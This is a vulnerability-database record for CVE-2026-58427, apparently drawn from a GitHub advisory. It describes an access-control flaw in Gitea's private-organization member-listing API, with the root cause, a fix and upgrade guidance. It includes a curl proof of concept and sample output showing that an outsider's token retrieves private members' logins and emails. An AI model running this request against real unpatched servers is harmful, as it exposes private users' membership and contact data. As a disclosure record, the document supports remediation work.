{"id":"CVE-2026-58427","aliases":["GHSA-prr9-9mp4-5gp2"],"title":"Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145","summary":"Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145","severity":"medium","cwe":["CWE-200","CWE-863"],"vendor":"gitea.dev","product":"gitea.dev","ecosystem":"go","affected":["gitea.dev < 1.27.0"],"patched":["gitea.dev 1.27.0"],"published":"2026-07-21","updated":"2026-07-21","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-prr9-9mp4-5gp2","references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-prr9-9mp4-5gp2"},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"},{"url":"https://github.com/advisories/GHSA-prr9-9mp4-5gp2"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-21T21:54:47.297Z","epss":0.00342,"epssPercentile":0.27817,"slug":"CVE-2026-58427","body":"## Overview\n\n## Summary\nPR #38145 fixed ListPublicMembers and IsPublicMember but missed \nListMembers. Any authenticated user can enumerate ALL members \n(not just public ones) of a private organization.\n\n## Affected Versions\n<= v1.26.4 (latest) and main branch\n\n## Root Cause\nrouters/api/v1/org/member.go — ListMembers():\n\n// Missing check:\nif !organization.HasOrgOrUserVisible(ctx, \n    ctx.Org.Organization.AsUser(), ctx.Doer) {\n    ctx.APIErrorNotFound()\n    return\n}\n\n## Proof of Concept\n\n# Setup: privateorg (private), alice = member, bob = outsider\n\n# Bob lists ALL members of private org\ncurl -s \"http://gitea/api/v1/orgs/privateorg/members\" \\\n  -H \"Authorization: token BOB_TOKEN\"\n\n# Result: HTTP 200\n[{\"login\":\"alice\",\"email\":\"alice@test.com\",...}]\n# Expected: HTTP 404\n\n## Note\nThis is an incomplete fix variant of PR #38145.\nThat PR fixed public_members endpoints only.\nListMembers (/orgs/{org}/members) remains unpatched.\n\n## Fix\nAdd to ListMembers():\nif !organization.HasOrgOrUserVisible(ctx, \n    ctx.Org.Organization.AsUser(), ctx.Doer) {\n    ctx.APIErrorNotFound()\n    return\n}\n\n## Affected packages\n\n- `gitea.dev < 1.27.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `gitea.dev 1.27.0`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}